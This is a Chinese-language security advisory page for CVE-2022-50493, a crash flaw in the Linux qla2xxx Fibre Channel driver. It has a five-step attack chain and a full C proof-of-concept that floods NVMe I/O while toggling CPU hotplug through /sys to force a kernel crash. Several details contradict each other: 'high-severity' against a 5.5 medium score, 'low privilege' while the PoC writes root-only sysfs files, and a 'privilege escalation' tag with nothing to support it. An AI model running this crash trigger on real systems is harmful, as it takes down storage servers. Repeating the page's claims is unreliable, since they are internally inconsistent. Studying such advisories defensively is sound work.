IPBUF安全漏洞报告
English
CVE-2022-50493 CVSS 5.5 中危

CVE-2022-50493 Linux内核qla2xxx驱动I/O中止超时崩溃漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50493
漏洞类型
空指针引用/系统崩溃
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel qla2xxx SCSI驱动

相关标签

Linux Kernelqla2xxxSCSI驱动NVMe over FC拒绝服务空指针引用use-after-freeCPU热插拔内核漏洞本地提权

漏洞概述

CVE-2022-50493是Linux内核qla2xxx SCSI驱动中存在的一个高危本地漏洞,该漏洞源于I/O中止超时处理逻辑中的缺陷。在CPU热插拔(CPU hotplug)操作期间,当NVMe over Fabrics(NVMe-oF)通过FC传输层发起I/O请求时,如果I/O中止操作超时,系统会直接调用完成回调函数而未检查该I/O是否已经被完成。这种竞态条件会导致内核崩溃,出现空指针引用或对已释放内存的非法访问问题。

该漏洞的影响范围涉及使用qla2xxx驱动的QLogic FC HBA(光纤通道主机总线适配器)用户,特别是在启用了NVMe over FC功能的存储环境中。当系统进行CPU热插拔操作时,qla2xxx驱动的响应队列处理函数qla24xx_process_response_queue会触发崩溃,崩溃调用栈涉及NVMe FC传输层的多个函数路径。

根据CVSS 3.1评分,该漏洞的CVSS评分为5.5分,属于中等严重等级。攻击向量为本地(AV:L),攻击复杂度低(AC:L),所需权限为低权限(PR:L),无需用户交互(UI:N)。该漏洞对机密性无影响(C:N),对完整性无影响(I:N),但对可用性影响高(A:H),意味着攻击者可导致系统拒绝服务(DoS)。该漏洞由安全研究人员发现,已在2025年10月4日公开披露。

技术细节

该漏洞的根本原因在于qla2xxx驱动中I/O中止超时处理逻辑缺乏对I/O状态的检查。具体而言,在qla2xxx驱动的abort处理路径中,当abort命令超时后,系统会调用sp->done()完成回调函数,但此时并未验证该I/O请求(sp)是否已经被其他路径完成。

技术原理分析:
1. 在NVMe over FC传输场景下,qla2xxx驱动负责处理来自上层nvme_fc模块的I/O请求;
2. 当CPU热插拔发生时,硬件队列可能进入异常状态,导致I/O请求无法正常完成;
3. 系统触发abort流程尝试中止超时的I/O请求;
4. 如果abort命令本身也超时,驱动会直接调用完成回调函数;
5. 此时如果原I/O已经被其他路径完成(如硬件响应到达),就会导致重复完成(double completion);
6. 重复完成会导致对已释放的SRB(SCSI Request Block)结构的非法访问,引发内核崩溃。

漏洞利用方式:攻击者需要在目标系统上具有本地低权限访问权限,且系统需要配置qla2xxx驱动的FC HBA设备并启用NVMe over FC功能。攻击者可以通过触发CPU热插拔操作或制造高I/O负载来增加abort超时的概率,从而触发系统崩溃实现拒绝服务攻击。

修复方案是在调用完成回调之前,验证I/O请求和abort请求确实处于未完成状态(outstanding),通过增加状态检查来避免重复完成问题。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在目标Linux系统上具有本地低权限访问权限,系统需配置qla2xxx驱动的QLogic FC HBA设备,并启用NVMe over FC功能连接到远程NVMe目标。
STEP 2
步骤2:发起NVMe I/O请求
通过nvme-cli工具或应用程序对NVMe over FC设备发起大量I/O请求,确保驱动中有大量处于in-flight状态的SRB请求。
STEP 3
步骤3:触发CPU热插拔
通过写入/sys/devices/system/cpu/cpuN/online文件触发CPU热插拔操作,导致硬件队列处理出现异常,增加I/O中止超时的概率。
STEP 4
步骤4:触发abort超时
在CPU热插拔期间,部分I/O请求无法正常完成,系统触发abort流程。当abort命令本身也超时时,qla2xxx驱动直接调用完成回调函数。
STEP 5
步骤5:导致内核崩溃
由于未检查I/O是否已实际完成,导致重复完成(double completion),对已释放的SRB结构进行非法访问,引发内核空指针引用或use-after-free,导致系统崩溃(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2022-50493 PoC - Trigger qla2xxx crash via CPU hotplug during NVMe-oF I/O // This PoC demonstrates how to trigger the vulnerability by inducing // CPU hotplug while NVMe over FC I/O operations are in flight #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <pthread.h> #include <errno.h> // Function to write to a specific CPU online file to trigger hotplug int trigger_cpu_hotplug(int cpu_num, int online) { char path[64]; snprintf(path, sizeof(path), "/sys/devices/system/cpu/cpu%d/online", cpu_num); int fd = open(path, O_WRONLY); if (fd < 0) { perror("open cpu online"); return -1; } const char *state = online ? "1" : "0"; if (write(fd, state, 1) != 1) { perror("write cpu state"); close(fd); return -1; } close(fd); return 0; } // Thread function to perform continuous I/O on NVMe device void* nvme_io_worker(void* arg) { char *dev_path = (char*)arg; int fd = open(dev_path, O_RDWR | O_DIRECT); if (fd < 0) { perror("open nvme device"); return NULL; } char buf[4096] __attribute__((aligned(4096))); memset(buf, 0xAA, sizeof(buf)); // Perform continuous I/O to keep requests in flight while (1) { for (int i = 0; i < 1000; i++) { // Issue read operations to generate I/O load lseek(fd, i * 4096, SEEK_SET); read(fd, buf, sizeof(buf)); } } close(fd); return NULL; } int main(int argc, char *argv[]) { if (argc < 2) { fprintf(stderr, "Usage: %s <nvme_device>\n", argv[0]); fprintf(stderr, "Example: %s /dev/nvme0n1\n", argv[0]); return 1; } printf("[*] CVE-2022-50493 PoC - qla2xxx abort timeout crash\n"); printf("[*] Starting NVMe I/O worker thread...\n"); pthread_t io_thread; if (pthread_create(&io_thread, NULL, nvme_io_worker, argv[1]) != 0) { perror("pthread_create"); return 1; } // Let I/O start sleep(2); printf("[*] Triggering CPU hotplug to induce abort timeout...\n"); // Rapidly toggle CPU states to trigger hotplug events // while I/O requests are in flight for (int round = 0; round < 100; round++) { for (int cpu = 1; cpu < 8; cpu++) { trigger_cpu_hotplug(cpu, 0); // offline usleep(10000); trigger_cpu_hotplug(cpu, 1); // online usleep(10000); } printf("[+] Round %d completed\n", round + 1); } printf("[*] Done. Check dmesg for crash logs.\n"); pthread_cancel(io_thread); pthread_join(io_thread, NULL); return 0; }

影响范围

Linux Kernel < 5.15.80
Linux Kernel 5.16.x < 5.16.14
Linux Kernel 5.17.x < 5.17.1
Linux Kernel 5.18.x < 5.18.1

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制本地用户对/sys/devices/system/cpu/目录下CPU热插拔文件的访问权限;2)在生产环境中避免对运行NVMe over FC负载的系统执行CPU热插拔操作;3)通过cgroup或systemd限制非特权用户对NVMe设备的访问;4)配置I/O超时参数以减少abort超时发生的概率;5)使用kdump服务配置崩溃转储以便事后分析。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表